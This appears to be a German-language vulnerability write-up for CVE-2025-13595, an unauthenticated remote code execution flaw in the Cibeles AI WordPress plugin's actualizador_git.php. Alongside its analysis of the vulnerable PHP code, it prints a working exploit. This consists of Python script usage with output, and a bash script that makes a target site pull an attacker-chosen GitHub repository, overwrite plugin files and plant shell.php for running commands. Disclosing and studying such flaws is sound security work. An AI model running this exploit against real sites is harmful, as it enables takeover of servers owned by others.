
CIBELES AI <= 1.10.8 - Nicht authentifizierter beliebiger Datei-Upload
Das Cibeles AI WordPress-Plugin in den Versionen 1.10.8 und älter enthält eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in der Datei actualizador_git.php. Diese Datei ist ohne jegliche Authentifizierungs- oder Autorisierungsprüfungen direkt über HTTP erreichbar, sodass nicht authentifizierte Angreifer beliebige GitHub-Repositories herunterladen und Plugin-Dateien überschreiben können, was zu Remote Code Execution führt.
Ein CVE-2025-13595.py wird bereitgestellt, um zu demonstrieren, wie ein Remote-Angreifer shell.php hochlädt und Remote-Code ausführt:
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND
Die Schwachstelle befindet sich in /wp-content/plugins/cibeles-ai/actualizador_git.php. Diese Datei implementiert ein GitHub-Repository-Spiegelungssystem, das ohne jegliche Sicherheitskontrollen direkt über HTTP erreichbar ist.
Direkter Dateizugriff (Zeile 1-17):
Der Datei fehlt die standardmäßige WordPress-ABSPATH-Prüfung (if (!defined('ABSPATH')) exit;), die direkten HTTP-Zugriff verhindert. Parameter werden ohne Validierung direkt aus $_GET gelesen:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_cibeles-ai';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
Token-Validierung (Zeile 26): Die einzige Validierung prüft, ob das Token leer ist oder dem Standardwert entspricht. Es wird keine Authentifizierung oder Autorisierung durchgeführt:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
GitHub-API-Anfrage (Zeile 31, 35-58): Das Skript lädt eine ZIP-Datei von der GitHub-API mithilfe von benutzergesteuerten Parametern herunter:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
Die Funktion curl_download() sendet das Token im Authorization-Header, führt jedoch keine Validierung des Repository-Besitzers oder des Inhalts durch.
ZIP-Extraktion und Dateioperationen (Zeile 133-158): Das heruntergeladene ZIP wird extrahiert und die Dateien werden direkt in das Plugin-Verzeichnis kopiert:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd);
Die Funktion rrcopy_into() kopiert rekursiv alle Dateien aus dem extrahierten Repository in das aktuelle Arbeitsverzeichnis (Plugin-Verzeichnis) und überschreibt dabei vorhandene Dateien.
Dateilöschung (Zeile 152-154): Dateien, die im heruntergeladenen Repository nicht vorhanden sind, werden gelöscht:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
Die Funktion mirror_delete_extras() löscht alle Dateien im Plugin-Verzeichnis, die nicht im Repository-Manifest vorhanden sind.